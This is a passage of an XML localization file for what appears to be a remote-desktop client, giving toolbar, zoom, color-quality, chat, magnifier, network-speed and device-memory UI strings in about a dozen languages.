<it>Apri barra degli strumenti avanzata</it>
<ru>Открыть панель инструментов "Дополнительно"</ru>
<ja>[詳細] ツールバーを開く</ja>
<zh>打开高级工具栏</zh>
<ko>고급 도구 모음 열기</ko>
<en-gb>Open Advanced Toolbar</en-gb>
<hu>Speciális eszköztár megnyitása</hu>
<pt-br>Abrir barra de ferramentas avançada</pt-br>
<nl>Geavanceerde werkbalk weergeven</nl>
</msg>
<msg name="LABEL.SCREEN">
<en>Screen:</en>
<de>Bildschirm:</de>
<es>Pantalla:</es>
<fr>Ecran:</fr>
<it>Schermo:</it>
<ru>Экран:</ru>
<ja>画面 :</ja>
<zh>屏幕:</zh>
<ko>화면:</ko>
<en-gb>Screen:</en-gb>
<hu>Képernyő:</hu>
<pt-br>Tela:</pt-br>
<nl>Beeldscherm:</nl>
</msg>
<msg name="LABEL.ZOOM">
<en>Zoom:</en>
<de>Zoom:</de>
<es>Zoom:</es>
<fr>Zoom:</fr>
<it>Zoom:</it>
<ru>Масштаб:</ru>
<ja>ズーム :</ja>
<zh>缩放:</zh>
<ko>확대/축소:</ko>
<en-gb>Zoom:</en-gb>
<hu>Nagyítás/Kicsinyítés:</hu>
<pt-br>Zoom:</pt-br>
<nl>In- en uitzoomen:</nl>
</msg>
<msg name="BTN.NETWORK">
<en>Network</en>
<de>Netzwerk</de>
<es>Red</es>
<fr>Réseau</fr>
<it>Rete</it>
<ru>Сеть</ru>
<ja>ネットワーク</ja>
<zh>网络</zh>
<ko>네트워크</ko>
<en-gb>Network</en-gb>
<hu>Hálózat</hu>
<pt-br>Rede</pt-br>
<nl>Netwerk</nl>
</msg>
<msg name="MENU.COLOR">
<en>Color Quality</en>
<es>Calidad de color</es>
<fr>Qualité d'affichage</fr>
<de>Farbqualität</de>
<it>Qualità del colore</it>
<ru>Качество цветопередачи</ru>
<ja>色の品質</ja>
<zh>色质</zh>
<ko>색 품질</ko>
<en-gb>Colour Quality</en-gb>
<hu>Színminőség</hu>
<pt-br>Qualidade de cor</pt-br>
<nl>Kleurenkwaliteit</nl>
</msg>
<msg name="MENU.QUALITY.HIGH">
<en>High (better color reproduction)</en>
<es>Alta (mejor reproducción del color)</es>
<de>Hoch (bessere Farbwiedergabe)</de>
<fr>Elevé (reproduction des couleurs améliorée)</fr>
<it>Alta (migliore riproduzione del colore)</it>
<ru>Высокое (превосходное воспроизведение цвета)</ru>
<ja>高 (より良い色再現)</ja>
<zh>高(再现更佳颜色)</zh>
<ko>높음(더 우수한 색 복제)</ko>
<en-gb>High (better colour reproduction)</en-gb>
<hu>Magas (jobb színvisszaadás)</hu>
<pt-br>Alto (melhor reprodução de cor)</pt-br>
<nl>Hoog (betere kleurenreproductie)</nl>
</msg>
<msg name="MENU.QUALITY.JPEG">
<en>Compressed (good quality and fast)</en>
<es>Comprimido (buena calidad y rápido)</es>
<de>Komprimiert (gute Qualität und schnell)</de>
<fr>Compacté (bonne qualité et rapide)</fr>
<it>Compressa (buona qualità e rapidità)</it>
<ru>Сжатый формат (высокие качество и скорость)</ru>
<ja>圧縮 (高品質で高速)</ja>
<zh>压缩(良好质量和快速)</zh>
<ko>압축됨(품질 양호, 빠름)</ko>
<hu>Tömörített (jó minőségű és gyors)</hu>
<pt-br>Compactado (de boa qualidade e rápido)</pt-br>
<nl>Gecomprimeerd (goede kwaliteit en snel)</nl>
<en-gb>Compressed (good quality and fast)</en-gb>
<!-- needs to be translated -->
</msg>
<msg name="MENU.QUALITY.MEDIUM">
<en>Medium Quality</en>
<es>Calidad media</es>
<de>Mittel</de>
<fr>Qualité moyenne</fr>
<it>Qualità media</it>
<ru>Среднее качество</ru>
<ja>中間の品質</ja>
<zh>中等质量</zh>
<ko>중간 품질</ko>
<en-gb>Medium Quality</en-gb>
<hu>Közepes minőség</hu>
<pt-br>Qualidade média</pt-br>
<nl>Normale kwaliteit</nl>
</msg>
<msg name="MENU.QUALITY.LOW">
<en>Low (faster response time)</en>
<es>Baja (menor tiempo de respuesta)</es>
<de>Niedrig (schnellere Antwortzeit)</de>
<fr>Faible (temps de réponse plus élevé)</fr>
<it>Bassa (tempo di risposta più rapido)</it>
<ru>Низкое (время отклика меньше)</ru>
<ja>低 (速い応答時間)</ja>
<zh>低(更快的响应时间)</zh>
<ko>낮음(더 빠른 응답 시간)</ko>
<en-gb>Low (faster response time)</en-gb>
<hu>Alacsony (gyorsabb válaszidő)</hu>
<pt-br>Baixo (tempo de resposta mais rápido)</pt-br>
<nl>Laag (snellere reactietijd)</nl>
</msg>
<msg name="MENU.QUALITY.DIALUP">
<en>Very low (black and white for dial-up connections)</en>
<es>Muy baja (Marcado, blanco &amp; negro)</es>
<de>Sehr niedrig (Schwarzweiß für DFÜ-Verbindungen)</de>
<fr>Très faible (noir et blanc pour les connexions par ligne commutée)</fr>
<it>Molto bassa (bianco e nero per connessioni remote)</it>
<ru>Очень низкое (черно-белая для соединений по телефонным линиям)</ru>
<ja>最低 (ダイアルアップ接続の場合は白黒)</ja>
<zh>非常低(拨号连接时显示黑白色)</zh>
<ko>매우 낮음(전화 접속 연결에 대해 검은색 및 흰색으로 표시)</ko>
<en-gb>Very low (black and white for dial-up connections)</en-gb>
<hu>Nagyon alacsony (fekete-fehér a betárcsázós kapcsolathoz)</hu>
<pt-br>Muito baixo (preto e branco para conexões dial-up)</pt-br>
<nl>Zeer laag (zwart-wit voor inbelverbindingen)</nl>
</msg>
<msg name="MENU.QUALITY.AUTO">
<en>Auto</en>
<de>Auto</de>
<es>Automática</es>
<fr>Auto</fr>
<it>Automatica</it>
<ru>Авто</ru>
<ja>自動</ja>
<zh>自动</zh>
<ko>자동</ko>
<en-gb>Auto</en-gb>
<hu>Automatikus</hu>
<pt-br>Automático</pt-br>
<nl>Automatisch</nl>
</msg>
<msg name="MENU.QUALITY.AUTOHIGH">
<en>Auto (High)</en>
<de>Auto (Hoch)</de>
<es>Automática (Alta)</es>
<fr>Auto (Elevé)</fr>
<it>Automatica (alta)</it>
<ru>Авто (высокое)</ru>
<ja>自動 (高)</ja>
<zh>自动(高)</zh>
<ko>자동(높음)</ko>
<en-gb>Auto (High)</en-gb>
<hu>Automatikus (magas)</hu>
<pt-br>Automático (Alto)</pt-br>
<nl>Automatisch (hoog)</nl>
</msg>
<msg name="MENU.QUALITY.AUTOLOW">
<en>Auto (Low)</en>
<es>Automática (Baja)</es>
<de>Automatisch (niedrige)</de>
<fr>Auto (Faible)</fr>
<it>Automatica (bassa)</it>
<ru>Авто (низкое)</ru>
<ja>自動 (低)</ja>
<zh>自动(低)</zh>
<ko>자동(낮음)</ko>
<en-gb>Auto (Low)</en-gb>
<hu>Automatikus (alacsony)</hu>
<pt-br>Automático (baixo)</pt-br>
<nl>Automatisch (laag)</nl>
</msg>
<msg os="macosx" name="MENU.QUALITY.AUTOLOW">
<en>Auto (Medium)</en>
<!-- needs to be translated -->
<es>Automática (Baja)</es>
<de>Automatisch (niedrige)</de>
<fr>Auto (Faible)</fr>
<it>Automatica (bassa)</it>
<ru>Авто (низкое)</ru>
<ja>自動 (低)</ja>
<zh>自动(低)</zh>
<ko>자동(낮음)</ko>
<en-gb>Auto (Medium)</en-gb>
<hu>Automatikus (alacsony)</hu>
<pt-br>Automático (baixo)</pt-br>
<nl>Automatisch (laag)</nl>
</msg>
<msg name="BTN.TERMINALSERVER">
<en>Terminal Server</en>
<es>Terminal Server</es>
<fr>Terminal Server</fr>
<it>Terminal Server</it>
<ru>Сервер терминалов</ru>
<ja>ターミナル サーバー</ja>
<zh>终端服务器</zh>
<ko>터미널 서버</ko>
<en-gb>Terminal Server</en-gb>
<hu>Terminálkiszolgáló</hu>
<pt-br>Terminal Server</pt-br>
<nl>Terminalserver</nl>
</msg>
<msg name="BTN.CHAT">
<en>Chat</en>
<de>Dialog</de>
<es>Conversación</es>
<fr>Chat</fr>
<it>Chat</it>
<ru>Чат</ru>
<ja>チャット</ja>
<zh>聊天</zh>
<ko>대화</ko>
<en-gb>Chat</en-gb>
<hu>Csevegés</hu>
<pt-br>Bate-papo</pt-br>
<nl>Chat</nl>
</msg>
<msg name="LABEL.CHAT">
<en>Chat:</en>
<de>Dialog:</de>
<es>Conversación:</es>
<fr>Chat:</fr>
<it>Chat:</it>
<ru>Чат:</ru>
<ja>チャット :</ja>
<zh>聊天:</zh>
<ko>대화:</ko>
<en-gb>Chat:</en-gb>
<hu>Csevegés:</hu>
<pt-br>Bate-papo:</pt-br>
<nl>Chat:</nl>
</msg>
<msg name="MENU.ZOOM100">
<en>Actual Size</en>
<es>Tamaño real</es>
<fr>Afficher la taille actuelle</fr>
<de>Tatsächliche Größe</de>
<it>Dimensioni reali</it>
<ru>Реальный размер</ru>
<ja>原寸大のサイズ</ja>
<zh>实际大小</zh>
<ko>실제 크기</ko>
<en-gb>Actual Size</en-gb>
<hu>Teljes méret</hu>
<pt-br>Tamanho real</pt-br>
<nl>Ware grootte</nl>
</msg>
<msg name="MENU.ZOOMFIT">
<en>Fit to Window</en>
<es>Ajustar a ventana</es>
<fr>Adapter à la fenêtre</fr>
<de>An Fenster anpassen</de>
<it>Adatta alla finestra</it>
<ru>По размеру окна</ru>
<ja>画面にサイズを合わせる</ja>
<zh>适合窗口</zh>
<ko>창에 맞춤</ko>
<en-gb>Fit to Window</en-gb>
<hu>Ablakhoz igazítás</hu>
<pt-br>Ajustar à janela</pt-br>
<nl>Passend maken in venster</nl>
</msg>
<msg name="MENU.ZOOM">
<en>Zoom</en>
<de>Zoom</de>
<es>Zoom</es>
<fr>Zoom</fr>
<it>Zoom</it>
<ru>Масштаб</ru>
<ja>ズーム</ja>
<zh>缩放</zh>
<ko>확대/축소</ko>
<en-gb>Zoom</en-gb>
<hu>Nagyítás/Kicsinyítés</hu>
<pt-br>Zoom</pt-br>
<nl>In- en uitzoomen</nl>
</msg>
<msg name="MENU.WHITEBOARD">
<en>Whiteboard Mode</en>
<es>Modo Pizarra</es>
<de>Whiteboard-modus</de>
<fr>Mode Tableau blanc</fr>
<it>Modalità lavagna</it>
<ru>Режим доски объявлений</ru>
<ja>ホワイトボード モード</ja>
<zh>白板模式</zh>
<ko>화이트보드 모드</ko>
<en-gb>Whiteboard Mode</en-gb>
<hu>Rajztábla üzemmód</hu>
<pt-br>Modo de quadro branco</pt-br>
<nl>Whiteboard-modus</nl>
</msg>
<msg name="MENU.CLEARWHITEBOARD">
<en>Erase Drawings</en>
<de>Zeichnung loeschen</de>
<es>Eliminar dibujos</es>
<fr>Effacer les dessins</fr>
<it>Cancella disegni</it>
<ru>Стереть рисунки</ru>
<ja>描画を消去</ja>
<zh>清除图画</zh>
<ko>그림 지우기</ko>
<en-gb>Erase Drawings</en-gb>
<hu>Rajzok törlése</hu>
<pt-br>Apagar desenhos</pt-br>
<nl>Tekeningen wissen</nl>
</msg>
<msg name="MENU.MATCHRESOLUTION">
<en>Match Resolution</en>
<es>Ajustar resolución</es>
<fr>Adapter la résolution</fr>
<de>Auflösung anpassen</de>
<it>Adatta a risoluzione corrispondente</it>
<ru>Согласовать разрешение</ru>
<ja>解像度を照合</ja>
<zh>匹配分辨率</zh>
<ko>해상도 일치</ko>
<en-gb>Match Resolution</en-gb>
<hu>Felbontás egyeztetése</hu>
<pt-br>Corresponder resolução</pt-br>
<nl>Resolutie afstemmen</nl>
</msg>
<msg name="BALLON.TITLE">
<en>Full Screen Mode</en>
<de>Vollbildmodus</de>
<es>Modo Pantalla completa</es>
<fr>Mode plein écran</fr>
<it>Modalità schermo intero</it>
<ru>Полноэкранный режим</ru>
<ja>全画面表示モード</ja>
<zh>全屏模式</zh>
<ko>전체 화면 모드</ko>
<en-gb>Full Screen Mode</en-gb>
<hu>Teljes képernyős üzemmód</hu>
<pt-br>Modo de tela inteira</pt-br>
<nl>Modus Volledig scherm</nl>
</msg>
<msg name="BALLON.TEXT">
<en>For a view of the remote computer that more closely resembles being physically at the machine, use Full Screen mode.</en>
<es>El modo Pantalla completa es el que ofrece la visión del ordenador remoto más parecida a la visión que se obtendría delante del equipo.</es>
<fr>Pour avoir une vision aussi identique que possible de l'ordinateur distant, utilisez le mode plein écran.</fr>
<de>Um den Remotecomputer möglichst realistisch darzustellen, wählen Sie den Vollbildmodus.</de>
<it>Per una visualizzazione del computer remoto più simile al computer fisico, utilizzare la modalità schermo intero.</it>
<ru>Для представления удаленного компьютера в виде наиболее близком к физическому представлению, используйте полноэкранный режим.</ru>
<ja>リモート コンピュータをより直接操作しているように表示するには、全画面表示を使用します。</ja>
<zh>要使远程计算机视图看起来更类似实际位于计算机前面的情况,请使用全屏模式。</zh>
<ko>컴퓨터에서 실제로 더 많이 유사한 원격 컴퓨터를 보려면 전체 화면 모드를 사용하십시오.</ko>
<en-gb>For a view of the remote computer that more closely resembles being physically at the machine, use Full Screen mode.</en-gb>
<hu>Ahhoz, hogy olyan módon tekintse meg a távoli számítógépet, amely közelebb áll a fizikai jelenléthez, használja a Teljes képernyős üzemmódot.</hu>
<pt-br>Para obter uma exibição do computador remoto que aparente estar fisicamente na máquina, use o modo de tela inteira.</pt-br>
<nl>Als u voor de weergave van de externe computer een beeld verkiest dat meer lijkt alsof u zelf aan het computersysteem zit, kiest u de modus Volledig scherm.</nl>
</msg>
<cat name="MAGNIFIER">
<msg name="ENABLE">
<en>Enable magnifier</en>
<de>Vergrößerung einschalten</de>
<es>Habilitar ampliador</es>
<fr>Activez la loupe</fr>
<it>Attiva lente di ingrandimento</it>
<ru>Включить экранную лупу</ru>
<ja>ズームを有効にする</ja>
<zh>启用放大镜</zh>
<ko>돋보기 사용</ko>
<en-gb>Enable magnifier</en-gb>
<hu>Nagyító bekapcsolása</hu>
<pt-br>Habilitar lupa</pt-br>
<nl>Vergrootglas inschakelen</nl>
</msg>
<msg name="WINDOW">
<en>In separate window</en>
<de>In neuem Fenster</de>
<es>En otra ventana</es>
<fr>dans une fenêtre séparée</fr>
<it>In finestra distinta</it>
<ru>В отдельном окне</ru>
<ja>別のウィンドウ内</ja>
<zh>在单独窗口中</zh>
<ko>다른 창에서</ko>
<en-gb>In separate window</en-gb>
<hu>Külön ablakban</hu>
<pt-br>Em uma janela separada</pt-br>
<nl>In apart venster</nl>
</msg>
<msg name="THINBORDER">
<en>With thin border</en>
<de>Mit dünnem Rand</de>
<es>Con reborde fino</es>
<fr>Avec une bordure mince</fr>
<it>Con bordo sottile</it>
<ru>С тонкой рамкой</ru>
<ja>細いボーダーを使用</ja>
<zh>带有细边框</zh>
<ko>가는 테두리</ko>
<en-gb>With thin border</en-gb>
<hu>Vékony szegéllyel</hu>
<pt-br>Com borda fina</pt-br>
<nl>Met dunne rand</nl>
</msg>
<msg name="DISTORTED">
<en>With distorted border</en>
<de>Mit verzerrtem Rand</de>
<es>Con reborde distorsionado</es>
<fr>Avec une bordure distordue</fr>
<it>Con bordo distorto</it>
<ru>С деформированной рамкой</ru>
<ja>曲線ボーダーを使用</ja>
<zh>带有扭曲边框</zh>
<ko>왜곡된 테두리</ko>
<en-gb>With distorted border</en-gb>
<hu>Torzított szegéllyel</hu>
<pt-br>Com borda distorcida</pt-br>
<nl>Met vervormde rand</nl>
</msg>
<msg name="NONE">
<en>None</en>
<de>Keine</de>
<es>Ninguno</es>
<fr>Aucun</fr>
<it>Nessuno</it>
<ru>Отсутствует</ru>
<ja>なし</ja>
<zh>无</zh>
<ko>없음</ko>
<en-gb>None</en-gb>
<hu>Nincs</hu>
<pt-br>Nenhum</pt-br>
<nl>Geen</nl>
</msg>
</cat>
<cat name="NETSPEED">
<msg name="AUTO">
<en>Auto</en>
<de>Auto</de>
<es>Auto</es>
<fr>Auto</fr>
<it>Automatica</it>
<ru>Авто</ru>
<ja>自動</ja>
<zh>自动</zh>
<ko>자동</ko>
<en-gb>Auto</en-gb>
<hu>Automatikus</hu>
<pt-br>Automático</pt-br>
<nl>Automatisch</nl>
</msg>
<msg name="FAST">
<en>Fast (LAN, 10MBit or faster)</en>
<de>Schnell  (LAN, 10MBit oder schneller)</de>
<es>Rápida (LAN, 10 MB o más)</es>
<fr>Rapide (LAN, 10MBit ou plus rapide)</fr>
<it>Veloce (LAN, 10 MBit o più veloce)</it>
<ru>Быстро (LAN, 10 Мбит или быстрее)</ru>
<ja>高速 (LAN、10 メガビット以上)</ja>
<zh>快(LAN,10 Mb 或更快)</zh>
<ko>빠름(LAN, 10Mbit 이상)</ko>
<en-gb>Fast (LAN, 10MBit or faster)</en-gb>
<hu>Gyors (LAN, 10 MBit vagy ennél gyorsabb)</hu>
<pt-br>Rápido (LAN, 10MBit ou mais rápido)</pt-br>
<nl>Snel (LAN, 10 Mbit of sneller)</nl>
</msg>
<msg name="SLOW">
<en>Slow (WAN, slower than 10MBit)</en>
<de>Langsam (WAN, langsamer als 10MBit)</de>
<es>Lenta (WAN, menos de 10 MB)</es>
<fr>Lent (WAN, plus lent que 10MBit)</fr>
<it>Lenta (WAN, inferiore a 10 MBit)</it>
<ru>Медленно (WAN, медленнее, чем 10 Мбит)</ru>
<ja>低速 (WAN、10 メガビット未満)</ja>
<zh>慢(WAN,低于 10 Mb)</zh>
<ko>느림(WAN, 10Mbit 미만)</ko>
<en-gb>Slow (WAN, slower than 10MBit)</en-gb>
<hu>Lassú (WAN, 10MBit-nél lassúbb)</hu>
<pt-br>Lento (WAN, mais lento que 10MBit)</pt-br>
<nl>Traag (WAN, trager dan 10 Mbit)</nl>
</msg>
</cat>
<cat name="FILEXFER">
<msg name="SAVEFILES">
<en>Select destination folder</en>
<de>Wählen sie den Zielordner</de>
<es>Elija carpeta de destino</es>
<fr>Choisissez le dossier de destination</fr>
<it>Seleziona cartella di destinazione</it>
<ru>Выберите папку назначения</ru>
<ja>移動先のフォルダを選択</ja>
<zh>选择目标文件夹</zh>
<ko>대상 폴더 선택</ko>
<en-gb>Select destination folder</en-gb>
<hu>Válassza ki a célmappát</hu>
<pt-br>Selecionar pasta de destino</pt-br>
<nl>Selecteer de doelmap</nl>
</msg>
</cat>
<cat name="WINCE">
<msg name="LOADING">
<en>Your PC's desktop is loading and will appear shortly.</en>
<fr>Le bureau de votre ordinateur est en cours de chargement et va apparaître sous peu.</fr>
<es>Se está cargando el escritorio de su ordenador. Aparecerá en unos instantes.</es>
<de>Der Desktop Ihres Computers wird geladen und in Kürze angezeigt.</de>
<it>È in corso il caricamento del desktop del computer, che verrà visualizzato tra breve.</it>
<nl>Het bureaublad van uw computer wordt nu geladen en verschijnt zo dadelijk op uw scherm.</nl>
<pt-br>A área de trabalho do seu computador está sendo carregada e será exibida em instantes.</pt-br>
<zh>正在加载您的计算机桌面,马上就会显示。</zh>
<ru>Рабочий стол компьютера загружается и скоро отобразится.</ru>
<ja>コンピュータのデスクトップを読み込んでいます。少々お待ちください。</ja>
<ko>컴퓨터의 데스크톱이 로드 중이고 잠시 후 나타납니다.</ko>
<hu>Az Ön számítógépének asztala most töltődik, és rövidesen meg fog jelenni.</hu>
<en-gb>Your PC's desktop is loading and will appear shortly.</en-gb>
</msg>
<msg os="macosx" name="LOADING">
<en>Your computer's desktop is loading and will appear shortly.</en>
<fr>Le bureau de votre ordinateur est en cours de chargement et va apparaître sous peu.</fr>
<es>Se está cargando el escritorio de su ordenador. Aparecerá en unos instantes.</es>
<de>Der Desktop Ihres Computers wird geladen und in Kürze angezeigt.</de>
<it>È in corso il caricamento del desktop del computer, che verrà visualizzato tra breve.</it>
<nl>Het bureaublad van uw computer wordt nu geladen en verschijnt zo dadelijk op uw scherm.</nl>
<pt-br>A área de trabalho do seu computador está sendo carregada e será exibida em instantes.</pt-br>
<zh>正在加载您的计算机桌面,马上就会显示。</zh>
<ru>Рабочий стол компьютера загружается и скоро отобразится.</ru>
<ja>コンピュータのデスクトップを読み込んでいます。少々お待ちください。</ja>
<ko>컴퓨터의 데스크톱이 로드 중이고 잠시 후 나타납니다.</ko>
<hu>Az Ön számítógépének asztala most töltődik, és rövidesen meg fog jelenni.</hu>
<en-gb>Your computer's desktop is loading and will appear shortly.</en-gb>
</msg>
<msg name="OUTOFMEMLINE1">
<en>Sorry, but this device does not have enough memory to display your PC's desktop at its current resolution.</en>
<fr>Désolé, mais ce dispositif n'a pas assez de mémoire pour afficher le bureau de votre ordinateur avec la résolution sélectionnée.</fr>
<es>Lo sentimos, este dispositivo no tiene suficiente memoria para mostrar el escritorio de su ordenador con la resolución establecida.</es>
<de>Leider hat dieses Gerät zu wenig Speicher, um den Desktop Ihres Computers mit der aktuellen Auflösung anzuzeigen.</de>
<it>La periferica non dispone di memoria sufficiente per visualizzare il desktop del computer con la risoluzione corrente.</it>
<nl>Er is op dit apparaat onvoldoende geheugen beschikbaar om het bureaublad van uw computer met de huidige resolutie weer te geven.</nl>
<pt-br>Desculpe, mas este dispositivo não tem memória suficiente para exibir a área de trabalho do seu computador na resolução atual.</pt-br>
<zh>抱歉,此设备没有足够的内存来以当前分辨率显示您的计算机桌面。</zh>
<ru>К сожалению, данное устройство не имеет достаточно памяти, чтобы отобразить рабочий стол компьютера с его текущим разрешением.</ru>
<ja>このデバイスには、現在の解像度でコンピュータのデスクトップを表示するための十分なメモリがありません。</ja>
<ko>죄송합니다. 이 장치의 메모리가 현재 해상도로 컴퓨터 데스크톱을 표시하기에 충분하지 않습니다.</ko>
<hu>Sajnos ez az eszköz nem rendelkezik elegendő memóriával, hogy az Ön számítógépének asztalát a jelenlegi felbontással jelenítse meg.</hu>
<en-gb>Sorry, but this device does not have enough memory to display your PC's desktop at its current resolution.</en-gb>
</msg>
<msg os="macosx" name="OUTOFMEMLINE1">
<en>Sorry, but this device does not have enough memory to display your computer's desktop at its current resolution.</en>
<fr>Désolé, mais ce dispositif n'a pas assez de mémoire pour afficher le bureau de votre ordinateur avec la résolution sélectionnée.</fr>
<es>Lo sentimos, este dispositivo no tiene suficiente memoria para mostrar el escritorio de su ordenador con la resolución establecida.</es>
<de>Leider hat dieses Gerät zu wenig Speicher, um den Desktop Ihres Computers mit der aktuellen Auflösung anzuzeigen.</de>
<it>La periferica non dispone di memoria sufficiente per visualizzare il desktop del computer con la risoluzione corrente.</it>
<nl>Er is op dit apparaat onvoldoende geheugen beschikbaar om het bureaublad van uw computer met de huidige resolutie weer te geven.</nl>
<pt-br>Desculpe, mas este dispositivo não tem memória suficiente para exibir a área de trabalho do seu computador na resolução atual.</pt-br>
<zh>抱歉,此设备没有足够的内存来以当前分辨率显示您的计算机桌面。</zh>
<ru>К сожалению, данное устройство не имеет достаточно памяти, чтобы отобразить рабочий стол компьютера с его текущим разрешением.</ru>
<ja>このデバイスには、現在の解像度でコンピュータのデスクトップを表示するための十分なメモリがありません。</ja>
<ko>죄송합니다. 이 장치의 메모리가 현재 해상도로 컴퓨터 데스크톱을 표시하기에 충분하지 않습니다.</ko>
<hu>Sajnos ez az eszköz nem rendelkezik elegendő memóriával, hogy az Ön számítógépének asztalát a jelenlegi felbontással jelenítse meg.</hu>
<en-gb>Sorry, but this device does not have enough memory to display your computer's desktop at its current resolution.</en-gb>
</msg>
<msg name="OUTOFMEMLINE2">
<en>Lower your PC's display resolution or color depth by clicking the second button on the toolbar.</en>
<fr>Réduisez la résolution d'affichage de votre ordinateur ou le nombre de couleurs en cliquant le deuxième bouton sur la barre d'outils.</fr>
<es>Disminuya la resolución de visualización del ordenador o la profundidad de color haciendo clic en el segundo botón de la barra de herramientas.</es>
<de>Verringern Sie die Bildschirmauflösung bzw. Farbtiefe des Computers mit der zweiten Schaltfläche in der Symbolleiste.</de>
<it>Ridurre la risoluzione o l'intensità del colore dello schermo del computer facendo clic sul secondo pulsante della barra degli strumenti.</it>
<nl>Stel voor uw computer een lagere beeldschermresolutie of kleurendiepte in door op de werkbalk op de tweede knop te klikken.</nl>
<pt-br>Reduza a resolução de exibição do seu computador ou a profundidade de cor clicando no segundo botão da barra de ferramentas.</pt-br>
<zh>通过单击工具栏上的第二个按钮可降低计算机的显示分辨率或色深。</zh>
<ru>Уменьшите разрешение экрана своего компьютера или глубину цвета, нажав вторую кнопку на панели инструментов.</ru>
<ja>ツールバーの 2 番目のボタンをクリックして、コンピュータの表示の解像度または色深度を下げてください。</ja>
<ko>도구 모음의 두 번째 버튼을 클릭하여 컴퓨터 디스플레이 해상도 또는 색 농도를 낮게 지정하십시오.</ko>
<hu>Az eszköztár második gombjára kattintva csökkentse a számítógépén a kijelző felbontását, vagy színmélységét.</hu>
<en-gb>Lower your PC's display resolution or colour depth by clicking the second button on the toolbar.</en-gb>
</msg>
<msg os="macosx" name="OUTOFMEMLINE2">
<en>Lower your computer's display resolution or color depth by clicking the second button on the toolbar.</en>
<fr>Réduisez la résolution d'affichage de votre ordinateur ou le nombre de couleurs en cliquant le deuxième bouton sur la barre d'outils.</fr>
<es>Disminuya la resolución de visualización del ordenador o la profundidad de color haciendo clic en el segundo botón de la barra de herramientas.</es>
<de>Verringern Sie die Bildschirmauflösung bzw. Farbtiefe des Computers mit der zweiten Schaltfläche in der Symbolleiste.</de>
<it>Ridurre la risoluzione o l'intensità del colore dello schermo del computer facendo clic sul secondo pulsante della barra degli strumenti.</it>
<nl>Stel voor uw computer een lagere beeldschermresolutie of kleurendiepte in door op de werkbalk op de tweede knop te klikken.</nl>
<pt-br>Reduza a resolução de exibição do seu computador ou a profundidade de cor clicando no segundo botão da barra de ferramentas.</pt-br>
<zh>通过单击工具栏上的第二个按钮可降低计算机的显示分辨率或色深。</zh>
<ru>Уменьшите разрешение экрана своего компьютера или глубину цвета, нажав вторую кнопку на панели инструментов.</ru>
<ja>ツールバーの 2 番目のボタンをクリックして、コンピュータの表示の解像度または色深度を下げてください。</ja>
<ko>도구 모음의 두 번째 버튼을 클릭하여 컴퓨터 디스플레이 해상도 또는 색 농도를 낮게 지정하십시오.</ko>
<hu>Az eszköztár második gombjára kattintva csökkentse a számítógépén a kijelző felbontását, vagy színmélységét.</hu>
<en-gb>Lower your computer's display resolution or colour depth by clicking the second button on the toolbar.</en-gb>
</msg>
<msg name="OUTOFMEMLINE3">
<en>If you receive this message repeatedly, choose an even lower combination of settings.</en>
<de>Wenn sie diese Meldung nochmal erhalten, wählen sie einfach eine kleinere Kombination der Einstellungen.</de>
<es>Si recibe este mensaje repetidamente, seleccione una combinación aún menor.</es>
<fr>Si vous recevez ce message à plusieurs reprises, choisissez une combinaison de paramètres encore inférieure.</fr>
<it>Se si riceve più volte questo messaggio, scegliere una combinazione di impostazioni inferiori.</it>
<ru>Если данное сообщение появляется регулярно, выберите еще более низкие значения для этой комбинации параметров.</ru>
<ja>このメッセージが繰り返して表示される場合は、両方の設定をさらに下げてください。</ja>
<zh>如果您重复收到此信息,请选择更低的设置组合。</zh>
<ko>이 메시지를 반복적으로 수신할 경우, 더 낮은 설정 조합을 선택하십시오.</ko>
<en-gb>If you receive this message repeatedly, choose an even lower combination of settings.</en-gb>
<hu>Amennyiben ismételten ezt az üzenetet kapja, válasszon egy még alacsonyabb beállítás-kombinációt.</hu>
<pt-br>Se receber essa mensagem repetidamente, selecione uma combinação de configurações ainda mais baixa.</pt-br>
<nl>Als dit bericht herhaaldelijk op uw scherm verschijnt, moet u nog lagere instellingen kiezen.</nl>
</msg>
<msg name="SCROLLEXPL1">
<en>Your PC's desktop is shown here, but it\ndoes not fit on this device's display.</en>
<fr>Le bureau de votre ordinateur est affiché ici, mais il\nn'est pas adapté à l'affichage de ce dispositif.</fr>
<es>El escritorio de su ordenador se muestra aquí, pero\nno se puede ajustar a la visualización de este dispositivo.</es>
<de>Der Desktop Ihres Computers wird hier angezeigt;\ner passt allerdings nicht auf den Bildschirm dieses Geräts.</de>
<it>Viene visualizzato il desktop del computer ma non\nsi adatta allo schermo del dispositivo in uso.</it>
<nl>Hier wordt het bureaublad van uw computer weergegeven, maar het\npast niet in het scherm van dit apparaat.</nl>
<pt-br>A área de trabalho do seu computador foi mostrada aqui, mas não\ncabe no monitor do dispositivo.</pt-br>
<zh>您的计算机桌面已在此处显示,但它并不\n适合此设备的显示屏。</zh>
<ru>Здесь представлен рабочий стол компьютера,\nно он не помещается на экране данного устройства.</ru>
<ja>コンピュータのデスクトップはここに表示されていますが、\nこのデバイスのディスプレイには全体を表示できません。</ja>
<ko>컴퓨터 데스크톱이 여기에 표시되었지만\n장치의 디스플레이에 맞지 않습니다.</ko>
<hu>Az Ön számítógépének asztala itt jelenik meg,\nde nem fér el ennek az eszköznek a kijelzőjén.</hu>
<en-gb>Your PC's desktop is shown here, but it\ndoes not fit on this device's display.</en-gb>
</msg>
<msg os="macosx" name="SCROLLEXPL1">
<en>Your computer's desktop is shown here, but it\ndoes not fit on this device's display.</en>
<fr>Le bureau de votre ordinateur est affiché ici, mais il\nn'est pas adapté à l'affichage de ce dispositif.</fr>
<es>El escritorio de su ordenador se muestra aquí, pero\nno se puede ajustar a la visualización de este dispositivo.</es>
<de>Der Desktop Ihres Computers wird hier angezeigt;\ner passt allerdings nicht auf den Bildschirm dieses Geräts.</de>
<it>Viene visualizzato il desktop del computer ma non\nsi adatta allo schermo del dispositivo in uso.</it>
<nl>Hier wordt het bureaublad van uw computer weergegeven, maar het\npast niet in het scherm van dit apparaat.</nl>
<pt-br>A área de trabalho do seu computador foi mostrada aqui, mas não\ncabe no monitor do dispositivo.</pt-br>
<zh>您的计算机桌面已在此处显示,但它并不\n适合此设备的显示屏。</zh>
<ru>Здесь представлен рабочий стол компьютера,\nно он не помещается на экране данного устройства.</ru>
<ja>コンピュータのデスクトップはここに表示されていますが、\nこのデバイスのディスプレイには全体を表示できません。</ja>
<ko>컴퓨터 데스크톱이 여기에 표시되었지만\n장치의 디스플레이에 맞지 않습니다.</ko>
<hu>Az Ön számítógépének asztala itt jelenik meg,\nde nem fér el ennek az eszköznek a kijelzőjén.</hu>
